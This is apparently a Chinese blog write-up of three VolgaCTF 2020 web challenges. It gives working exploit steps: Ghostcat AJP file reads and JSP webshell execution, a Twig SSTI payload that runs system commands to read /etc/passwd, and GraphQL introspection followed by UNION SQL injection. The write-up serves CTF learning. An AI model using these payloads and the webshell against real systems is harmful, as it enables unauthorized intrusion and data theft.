抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

比赛没有怎么认真打,但是毕竟题还是看了的。除了幽灵猫以外的题也是很有价值的,好好学习一波。

NetCorp

这个周末最大的收获就是做了几道java题,对java题的相关套路有了一定了解。
比如此题,开始上来页面并无任何有用信息。唯一能做的从路由下手,这里不使用路径爆破工具的话,可以通过构造一些错误路径来尝试爆版本以及爆服务。这里在bp通过构造爆出了tomcat服务的相关信息。

而且访问/docs,得到apachetomcat信息,是9.0.24版本。基本确定是道java题,

接下来去搜索相关信息,发现了这样一个漏洞:
CVE-2020-1938 即tomcat的ghostcat漏洞
值得一提的是,ghostcat漏洞是由长亭爆出来的洞,GhostCat 主要是存在文件读取和包含漏洞
影响范围很广,几乎囊括了6-9版本。
我们又知道,文件上传+文件包含=RCE.因此尝试利用相关工具先进行文件读取,看看有无收获。
开始用的exp是这个
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,但是只能读文件不可执行命令。因此作罢。
我后来使用的exp来自https://github.com/00theway/Ghostcat-CNVD-2020-10487
这个exp不仅可以文件读取还可以包含,因此更适合

首先,对tomcat服务必读的文件就是WEB-INF/web.xml
尝试读取
python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru 8009 /WEB-INF/web.xml read

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>NetCorp</display-name>


  <servlet>
        <servlet-name>ServeScreenshot</servlet-name>
        <display-name>ServeScreenshot</display-name>
        <servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
  </servlet>

  <servlet-mapping>
        <servlet-name>ServeScreenshot</servlet-name>
        <url-pattern>/ServeScreenshot</url-pattern>
  </servlet-mapping>


        <servlet>
                <servlet-name>ServeComplaint</servlet-name>
                <display-name>ServeComplaint</display-name>
                <description>Complaint info</description>
                <servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
        </servlet>

        <servlet-mapping>
                <servlet-name>ServeComplaint</servlet-name>
                <url-pattern>/ServeComplaint</url-pattern>
        </servlet-mapping>

        <error-page>
                <error-code>404</error-code>
                <location>/404.html</location>
        </error-page>



</web-app>

可以看到除了404.html这样的页面还有两个类的信息。这里可以推断class文件的路径,通过反编译class文件,得到网站源码
我按照roarctf easyjava的经验构造路径,路径勉强算理解,好歹我也是java入门编程的…WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class,另一个同理。

 python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class read -o complaint.class
 python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read -o screenshoot.class

反编译后得到以下源码

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   ServeComplaintServlet.java

package ru.volgactf.netcorp;

import java.io.IOException;
import java.io.PrintStream;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.*;

public class ServeComplaintServlet extends HttpServlet
{

    public ServeComplaintServlet()
    {
        System.out.println("ServeScreenshotServlet Constructor called!");
    }

    public void init(ServletConfig config)
        throws ServletException
    {
        System.out.println("ServeScreenshotServlet \"Init\" method called");
    }

    public void destroy()
    {
        System.out.println("ServeScreenshotServlet \"Destroy\" method called");
    }

    protected void doGet(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
    }

    protected void doPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
    }

    private static final long serialVersionUID = 1L;
    private static final String SAVE_DIR = "uploads";
}
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   ServeScreenshotServlet.java

package ru.volgactf.netcorp;

import java.io.*;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Collection;
import java.util.Iterator;
import javax.servlet.*;
import javax.servlet.http.*;

public class ServeScreenshotServlet extends HttpServlet
{

    public ServeScreenshotServlet()
    {
        System.out.println("ServeScreenshotServlet Constructor called!");
    }

    public void init(ServletConfig config)
        throws ServletException
    {
        System.out.println("ServeScreenshotServlet \"Init\" method called");
    }

    public void destroy()
    {
        System.out.println("ServeScreenshotServlet \"Destroy\" method called");
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        String appPath = request.getServletContext().getRealPath("");
        String savePath = (new StringBuilder()).append(appPath).append("uploads").toString();
        File fileSaveDir = new File(savePath);
        if(!fileSaveDir.exists())
            fileSaveDir.mkdir();
        String submut = request.getParameter("submit");
        if(submut != null)
            if(submut.equals("true"));
        PrintWriter out = request.getParts().iterator();
        do
        {
            if(!out.hasNext())
                break;
            Part part = (Part)out.next();
            String fileName = extractFileName(part);
            fileName = (new File(fileName)).getName();
            String hashedFileName = generateFileName(fileName);
            String path = (new StringBuilder()).append(savePath).append(File.separator).append(hashedFileName).toString();
            if(!path.equals("Error"))
                part.write(path);
        } while(true);
        out = response.getWriter();
        response.setContentType("application/json");
        response.setCharacterEncoding("UTF-8");
        out.print(String.format("{'success':'%s'}", new Object[] {
            "true"
        }));
        out.flush();
    }

    private String generateFileName(String fileName)
    {
        String s2;
        StringBuilder sb;
        MessageDigest md = MessageDigest.getInstance("MD5");
        md.update(fileName.getBytes());
        byte digest[] = md.digest();
        s2 = (new BigInteger(1, digest)).toString(16);
        sb = new StringBuilder(32);
        int i = 0;
        for(int count = 32 - s2.length(); i < count; i++)
            sb.append("0");

        return sb.append(s2).toString();
        NoSuchAlgorithmException e;
        e;
        e.printStackTrace();
        return "Error";
    }

    private String extractFileName(Part part)
    {
        String contentDisp = part.getHeader("content-disposition");
        String items[] = contentDisp.split(";");
        String as[] = items;
        int i = as.length;
        for(int j = 0; j < i; j++)
        {
            String s = as[j];
            if(s.trim().startsWith("filename"))
                return s.substring(s.indexOf("=") + 2, s.length() - 1);
        }

        return "";
    }

    private static final String SAVE_DIR = "uploads";
}

主要内容在于ServeScreenshotServlet这个类。我们得到了上传文件的存在,也就是说可以通过上传+包含构造RCE了。
简单读下源码,其实就是指上传文件会传到/upload下,同时文件名变为上传文件名的md5值
直接使用curl传文件
curl -vv -F "data=@myexp.jsp" http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot
myexp.jsp

<%@ page import="java.util.*,java.io.*"%>
<% 
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
  out.println(disr); 
  disr = dis.readLine(); 
}
%>

执行
python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru 8009 /uploads/78e1e40f057500a0dd0209effb7514d3 eval

注意到flag.txt的存在,那么直解更改命令上传后再次执行即可

Newsletter

这题网上找不到免费的能收邮件的服务器,应该是要个SMTP的。没办法只能学学Twig打ssti的用法了。
题目首先给出看源码

<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
    public function index(Request $request)
    {
      return $this->render('main.twig');
    }

    public function subscribe(Request $request, MailerInterface $mailer)
    {
      $msg = '';
      $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
      if($email !== FALSE) {
        $name = substr($email, 0, strpos($email, '@'));

        $content = $this->get('twig')->createTemplate(
          "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
        )->render();

        $mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
        $mailer->send($mail);

        $msg = 'Success';
      } else {
        $msg = 'Invalid email';
      }
      return $this->render('main.twig', ['msg' => $msg]);
    }


    public function source()
    {
        return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
    }
}

首先不用说,${name}这里存在ssti的。同时确认是twig模板的。
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
这句过滤很好绕,只需要6@domain.tld就可以在收清求的地方看到ssti的效果了。
flag在etc/passwd中
payload:

"{{['cat${IFS}/etc/passwd']|filter('system')}}"@y

因为没法亲自动手所以只好搬运payload了,惭愧…

Library

在注册时可以抓包发现/api的路由

根据传输及返回形式,可以判断出是GrpahQL的api接口,同时也有个经典的利用,就是传{__schema{types{name}}},可以通过__schema查询所有可用对象:
尝试直接访问无果,post传值{"query":"{ __schema { types { name } } }"}
(这里要稍微根据之前传值的方式构造一下)

{"data":{"__schema":{"types":[{"name":"Query"},{"name":"String"},{"name":"LoginUser"},{"name":"LoginResponse"},{"name":"UserFilter"},{"name":"User"},{"name":"Book"},{"name":"Mutation"},{"name":"RegisterUser"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"Boolean"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

使用如下payload可以一个个的爆出我们可能可以利用的schema的信息
{"query":"{ __type(name: \"User\") { name fields { name type { name kind }}}}"}

{"data":{"__type":{"name":"User","fields":[{"name":"login","type":{"name":"String","kind":"SCALAR"}},{"name":"name","type":{"name":"String","kind":"SCALAR"}},{"name":"email","type":{"name":"String","kind":"SCALAR"}}]}}}

这就告诉我们,User object有三个Field.login, name ,email.同理我们爆下其他的,比如重点关注的Query
回显:

{"data":{"__type":{"name":"Query","fields":[{"name":"_empty","type":{"name":"String","kind":"SCALAR"}},{"name":"login","type":{"name":"LoginResponse","kind":"OBJECT"}},{"name":"testGetUsersByFilter","type":{"name":null,"kind":"LIST"}},{"name":"books","type":{"name":null,"kind":"LIST"}}]}}}

发现一个testGetUsersByFilter,似乎很有意思。也许它对可注的点进行了过滤,但这就意味着我们可以进行注入。
于是我们进行基本的查询。此时目标应该是sql注入,寻找可注点。

{"query":"query testGetUsersByFilter($input: UserFilter) {\n  testGetUsersByFilter(filter: $input) {\n  login email name \n  }\n}\n","variables":{"input":{"login":"test","email":"test","name":"test"}}}

构造这样一个查询语句。此时我们需要通过控制login email,name的值来测试是否存在注入

{"query":"query testGetUsersByFilter($input: UserFilter) {\n  testGetUsersByFilter(filter: $input) {\n  login email name \n  }\n}\n","variables":{"input":{"login":"'","email":"1231321","name":"3213"}}}

当尝试sql注入常见的单引号时,发现返回的结果对应的login居然是空的。所以看来单引号被过滤了。但这并不是什么问题。因为逃逸单引号也是个考烂的trick了。

将我们传参部分input的值改为:{"login":"test\\","name":" union select * from users -- "}
发现将返回所有用户名。至此sql注入已经确认可注,接下来就是挖掘信息了。
先order by 测字段数,发现是6个

然后执行查询,发现回显字段是2,6,5
union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema=database()#
发现flag表,flag列,查询即可

评论